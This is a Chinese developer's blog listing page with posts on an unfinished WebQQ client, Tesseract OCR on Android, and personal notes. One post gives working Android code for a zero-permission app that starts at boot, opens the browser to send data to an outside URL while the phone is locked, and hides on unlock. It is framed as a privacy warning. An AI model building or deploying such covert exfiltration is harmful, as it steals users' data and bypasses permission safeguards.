2012年3月28日

更新到了新博客 http://xgeek.me/blog/2012/03/28/androidpn/

posted @ 2012-03-28 23:46 黑暗伯爵 阅读(288) 评论(0) 编辑

2012年3月8日

这是我博客的新地址,以后这里更新较多些

http://xgeek.me/

posted @ 2012-03-08 11:58 黑暗伯爵 阅读(37) 评论(0) 编辑

2012年2月12日

      最近重写了以前那个atomqq,后来发现自己在整体的设计上水平还是很欠缺,一个人搞也比较吃力,毕竟是一步步分析分析又分析webqq3,所以决定先暂时放下,学学python和架构方面的东西。

      累了,也是时候停下来学学了。

 

这是atomqq目前的进度:

http://code.google.com/p/atom-qq/  <-源码在这

 

下面是目前进度的程序截图:

登陆界面 

登陆界面

 

 

主程序

主程序,群列表在右面,左右滑动

 

近期会话抽屉

近期会话,一个向上弹出抽屉

 

 

群会话

群聊天,黄色背景为自己发送的消息

写到这里时,突然感觉累了,也有点力不从心了,就先这么放放吧。

posted @ 2012-02-12 20:44 黑暗伯爵 阅读(297) 评论(15) 编辑

2012年1月14日

上次写过一篇文章  抛砖引玉 之 谁动了我的隐私(android用户隐私窥探)  描述如何读取系统log缓冲区但还存在权限提示问题。

 

这次来个稍微好点的,真正的0权限上传数据

同上次讲的一样,虽然大部分用户在安装app时对权限警告视而不见,但相信以后用户会对权限问题越来越重视的。

这次咱们先真正的来一次0权限上传热热身。

 

一、原理

首先利用的还是那个开机启动bug。

然后,在手机锁屏时上传数据。

如何上传数据呢,为了避免权限咱们得瞒天过海。

 

我们知道,在Intent转向的时候,可以转到标记为ACTION_VIEW的activity,而浏览器都有这个标记,可以传一个uri过去。

soga,说到这里,,明白了吧。就是使用http的GET传参,虽然只能传明文,但已经够了,更何况一次能传输的字节也还是很客观的。

至于传什么,每个想实现这种功能的人都有其目的吧。

 

二、实现

首先是清单文件,不需要声明任何权限,只需要写一个广播接收者和一个服务即可

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package
="org.igeek.hack"
android:versionCode
="1"
android:versionName
="1.0">
<uses-sdk android:minSdkVersion="8" />


<application android:icon="@drawable/icon" android:label="@string/app_name">

<receiver android:name =".reciver.HackReceiver">
<intent-filter android:priority ="1000">
<action android:name ="android.intent.action.BOOT_COMPLETED"/>
</intent-filter >
</receiver >

<service android:name=".service.HackerService"/>

</application>
</manifest>


 

然后就是广播接收者的实现,很简单,单纯的开启一个服务

package org.igeek.hack.reciver;


import org.igeek.hack.service.HackerService;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;

/**
*
@author 作者 E-mail:hangxin1940@gmail.com
*
@version 创建时间:2012-01-13 下午10:32:21
* 类说明
*/
public class HackReceiver extends BroadcastReceiver {


@Override
public void onReceive(Context context, Intent intent) {
Intent it=new Intent(context, HackerService.class);
context.startService(it);
}


}


 最后,就是关键部分,服务的实现
 

  1 package org.igeek.hack.service;
2
3 import java.util.Random;
4 import android.app.KeyguardManager;
5 import android.app.Service;
6 import android.content.BroadcastReceiver;
7 import android.content.Context;
8 import android.content.Intent;
9 import android.content.IntentFilter;
10 import android.net.Uri;
11 import android.os.Handler;
12 import android.os.IBinder;
13 import android.util.Log;
14
15 /**
16 *
17 * @author 作者 E-mail:hangxin1940@gmail.com
18 * @version 创建时间:2012-01-13 下午10:42:11
19 * 类说明
20 */
21 public class HackerService extends Service {
22 private ScreenOnBroadcastReciver soReciver;
23 private ScreenOFFBroadcastReciver sfReciver;
24 private Handler handler;
25
26 final static String LOG_TAG="hack";
27 KeyguardManager keyguardManager;
28 Intent it;
29
30 //GET提交地址
31 final String HACK_URL="http://www.igeek.org/hack?info=";
32
33
34
35 private Runnable r=new Runnable() {
36
37 @Override
38 public void run() {
39
40
41 //如果是锁屏状态
42 if(keyguardManager.inKeyguardRestrictedInputMode()){
43
44 //GET上传,内容随你
45 String hackInfo="hack!!!!your information!!!!!!!&r="+new Random().nextFloat();
46
47 it.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
48 Uri uri=Uri.parse(HACK_URL+hackInfo);
49 it.setData(uri);
50 startActivity(it);
51 Log.i(LOG_TAG,"提交数据->"+HACK_URL+hackInfo);
52
53 //每隔5秒,执行一次上传
54 handler.postDelayed(r, 5000);
55 }
56 }
57 };
58
59
60
61 @Override
62 public void onStart(Intent intent, int startId) {
63 super.onStart(intent, startId);
64
65 keyguardManager = (KeyguardManager) getSystemService(Context.KEYGUARD_SERVICE);
66 it=new Intent(Intent.ACTION_VIEW);
67
68 handler=new Handler();
69
70 Log.i(LOG_TAG, "开机完成,注册广播接收者");
71 soReciver=new ScreenOnBroadcastReciver();
72 sfReciver=new ScreenOFFBroadcastReciver();
73
74 IntentFilter onIntentFilter = new IntentFilter("android.intent.action.SCREEN_ON");
75 registerReceiver(soReciver, onIntentFilter);
76
77 IntentFilter offIntentFilter = new IntentFilter("android.intent.action.SCREEN_OFF");
78 registerReceiver(sfReciver, offIntentFilter);
79 }
80
81
82 @Override
83 public IBinder onBind(Intent intent) {
84 return null;
85 }
86
87 /**
88 * 解锁广播接收者
89 * @author hang
90 *
91 */
92 class ScreenOnBroadcastReciver extends BroadcastReceiver {
93
94 @Override
95 public void onReceive(Context context, Intent intent) {
96
97 Log.i(LOG_TAG, "屏幕解开");
98 handler.removeCallbacks(r);
99 intent.setAction(Intent.ACTION_MAIN);
100 intent.addCategory(Intent.CATEGORY_HOME);
101 intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
102
103 Log.i(LOG_TAG, "转向HOME");
104 startActivity(intent);
105
106 }
107
108 }
109
110 /**
111 * 锁屏广播接收者
112 * @author hang
113 *
114 */
115 class ScreenOFFBroadcastReciver extends BroadcastReceiver {
116
117 @Override
118 public void onReceive(final Context context, Intent intent) {
119
120
121
122 Log.i(LOG_TAG, "屏幕锁住");
123
124 //500ms后开始执行上传数据
125 handler.postDelayed(r, 500);
126 }
127
128 }
129 }

 

三、效果

哈,运行下试试,关机。。。开机。。。锁屏。。解锁。。没发现什么反应啊。。。再看看程序管理。。Hack程序也没有任何权限提示啊。。。

 

真的这样吗?来看看log

you see? 流量就这么悄悄的耗了。

 

本工程包地址:hack_0p_upload.zip

 

结束语

这么流氓的伎俩,相信谁都不想碰到,google market也混乱的一塌糊涂,android app混乱的不成样子,大家还是擦亮双眼,安全,一定要注意的。

另外,关于开机启动的这个bug,貌似360的手机安全软件可以检测出来。其它的我没试,因为我很懒,我从来不装安全软件。

 

最后,请关注我的 抛砖引玉 系列,会有更多精彩内容

 

原创,转载请注明  http://hangxin1940.cnblogs.com

这里仅当抛砖引玉,本人水平有限,难免有些疏漏或者错误,还请指正!!!

posted @ 2012-01-14 01:40 黑暗伯爵 阅读(1212) 评论(0) 编辑

2012年1月13日

OCR属于CV的范畴,也就是计算机视觉,目前来看,除了opencv这个龙头老大,也就是hp开发的tesseract比较好用,虽然年头比较长了,但现在归google维护并托管在google code上了。

 

现在有android版本的
地址:http://code.google.com/p/tesseract-android-tools/

这个版本得自己git 三个库 leptonica  tesseract  libjpeg ,我自己是编译成功了,但测试的时候native层总是crash。

 

于是发现了tess的android的另一个分支 tess-two

推荐linux上编译

 

一、下载&编译

1、首先下载tess-two

git clone git://github.com/rmtheis/tess-two tess


2、进入 tess目录,里面有三个项目,我们只需要进入tess-two就可以直接编译了

cd tess/tess-two
ndk-build


 3、编译好后,将src下的两个包以及libs导入到自己的项目就可以用啦

这里把我我把编译好后的东西放出来,用的话不用再编译了

下载:tess-two.zip

 

二、使用

tesseract 使用了 leptonica的图像处理库,对于图像处理还是比较强大的

Android官方地址:tesseract-android-tools

但它必须要一个匹配库,即tessdata,我们可以从官方拷贝,在前面git的项目里面tesseract源码目录有现成的tessdata可以用,对于中文,google code上也有下载,当然也可以自己训练不同语言的tessdata。

包leptonica的类我们不必使用,只要使用tess包的类就行了

TessBaseAPI

使用时,首先创建TessBaseAPI对象

TessBaseAPI baseApi=new TessBaseAPI();

//初始化tess
//android下面,tessdata肯定得放到sd卡里了
//如果tessdata这个目录放在sd卡的根目录
//那么path直接传入sd卡的目录
//eng就是英文,关于语言,按ISO 639-3标准的代码就行,具体请移步wiki
baseApi.init("tessdata文件夹的父级目录", "eng");

//options是为了缩放图片,这个酌情缩放,图片小的话可以不缩放
BitmapFactory.Options options=new BitmapFactory.Options();
//缩小为原来的1/2
options.inSampleSize=2;

//bitmap,我这里是以流的形式,只要能形成Bitmap就行
Bitmap bitmap = BitmapFactory.decodeStream(instream,null,options);
instream.close();


//如果图片有Alpha值,那么最好设置一下
/*
ExifInterface exif = new ExifInterface(filename)
int exifOrientation = exif.getAttributeInt(ExifInterface.TAG_ORIENTATION, ExifInterface.ORIENTATION_NORMAL);


int rotate = 0;
switch (exifOrientation) {
case ExifInterface.ORIENTATION_ROTATE_90:
rotate = 90;
break;
case ExifInterface.ORIENTATION_ROTATE_180:
rotate = 180;
break;
case ExifInterface.ORIENTATION_ROTATE_270:
rotate = 270;
break;
}


if (rotate != 0) {

// Getting width & height of the given image.
int w = bitmap.getWidth();
int h = bitmap.getHeight();

// Setting pre rotate
Matrix mtx = new Matrix();
mtx.preRotate(rotate);

// Rotating Bitmap
bitmap = Bitmap.createBitmap(bitmap, 0, 0, w, h, mtx, false);
// tesseract req. ARGB_8888
bitmap = bitmap.copy(Bitmap.Config.ARGB_8888, true);
}
*/

//设置要ocr的图片bitmap
baseApi.setImage(bitmap);
//根据Init的语言,获得ocr后的字符串
String text= baseApi.getUTF8Text();
//释放bitmap
baseApi.clear();

//如果连续ocr多张图片,这个end可以不调用,但每次ocr之后,必须调用clear来对bitmap进行释放
//释放native内存
baseApi.end();

///////////////////////////其它方法//////////////////////////////////


//获取字符边框

Pixa pixa= baseApi.getCharacters();

//同上,这个是整段文字的边框
baseApi.getRegions();

//同上,只不过这里是条线
baseApi.getTextlines();

//剩下的自己测试吧。

//转为rect数组 ,之后,可以很方便的在图片上框出方框
//怎么框由你
ArrayList<Rect> rects=pixa.getBoxRects();


结束。

 

android下ocr就这么简单,好好使用第三方库就行了。

ps:在使用这套库对12306的验证码进行ocr时,耗时50ms左右。

posted @ 2012-01-13 13:29 黑暗伯爵 阅读(2472) 评论(18) 编辑

2012年1月4日

摘要: 发展 * 创新2012 元旦,参加北京创客空间的跨年活动,地点位于青公馆,属于青年志的地盘。活动的内容就是与mit(米国麻省理工)的miter(麻省理工的黑客/创客)们交流与分享经验。这是个老胡同的四合院,艺术范儿浓厚,与会的十来人却都是一些geeker,技术狂热爱好者。josh,mit 的创客骨干,从computer hack到hardware hack无所不能,他正在介绍mit的机器人项目cathy,mit的miter成员,很有意思的一个妹子。正在介绍mit的某个机器人竞赛这次会议给我的冲击很大,不是mit的人有多nb,也不是国内的圈子有多落后。对于创新,老外的思维是把一件事想的很简单,敢阅读全文
posted @ 2012-01-04 10:48 黑暗伯爵 阅读(156) 评论(0) 编辑

2011年12月30日

摘要: 用户的隐私永远是第一位的,用户的隐私也是最值钱的。最近各大门户相继被泄露。。。保管好自己的密码就行了这里我就扯一下android下面搞用户隐私的方法,也算是android的一个疏忽。但最主要的,还是用户在安装apk时对权限警告的无视,就犹如我们所有社区的密码设为相同一样。罪魁祸首就是logcat。以及一个权限检测的bug.1、开机启动 程序如何开机启动?那就是接受一个关于开机的广播,具体流程是这样的,首先在 清单文件 声明一个权限 <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED&q阅读全文
posted @ 2011-12-30 00:53 黑暗伯爵 阅读(403) 评论(1) 编辑

2011年12月17日

摘要: 上篇博文,介绍了一种安卓开发中程序插件化的方法,想想应该可以搞的更方便些,于是花了4天时间把框架做出来了,希望能对大家有用。android-application-plug-ins-frame-work安卓应用程序插件化开发框架 -AAP Framework介绍这个框架的初衷,是为了方便让程序模块化、插件化,将一个apk应用拆分为多个apk。不明白这个插件化、模块化是怎么回事的话,可以看看腾讯微信的安卓客户端中的插件配置。在这里我会以腾讯微信为例,如何使用这个框架。 (腾讯微信并不是真正的插件化,它是伪的,插件并非与它的主程序分离开,结果就是每次插件的更新,都必须以整个程序的更新为代价)都能干阅读全文
posted @ 2011-12-17 21:42 黑暗伯爵 阅读(517) 评论(1) 编辑

2011年12月14日

摘要: 框架已经放出:android-application-plug-ins-frame-work安卓应用程序插件化开发框架 -AAP Framework 在android的项目开发中,都会遇到后期功能拓展增强与主程序代码变更的现实矛盾,也就是程序的灵活度。 由于linux平台的安全机制,再加上dalvik的特殊机制,各种权限壁垒,使得开发一个灵活多变的程序,变得比较困难,不像pc平台下那么容易。 瞅瞅elipse的插件,瞅瞅360的插件,在android下,我们一开始很难写好一个主程序,然后通过插件机制来应对以后的功能拓展,于是程序变得不那么灵活多变了。 比如一款android下的安全软...阅读全文
posted @ 2011-12-14 22:50 黑暗伯爵 阅读(2133) 评论(3) 编辑

2011年12月3日

摘要: 戎马两年,苦了两年,很充实的两年,战友们,你们现在在那??还记得我们在高原的时候吗。。。。八嘎,小唐。。现在在干什么呢。。。大家的音容笑貌历历在目。我们曾艰难地走过面对满目疮痍,我们义无反顾马勒戈壁上的汛情,我们也很蛋疼。。。各种苦与乐,我们一同度过。。。。。也请战友们时常想起我这个苦逼的程序员。。。阅读全文
posted @ 2011-12-03 00:48 黑暗伯爵 阅读(145) 评论(0) 编辑

公告

导航

统计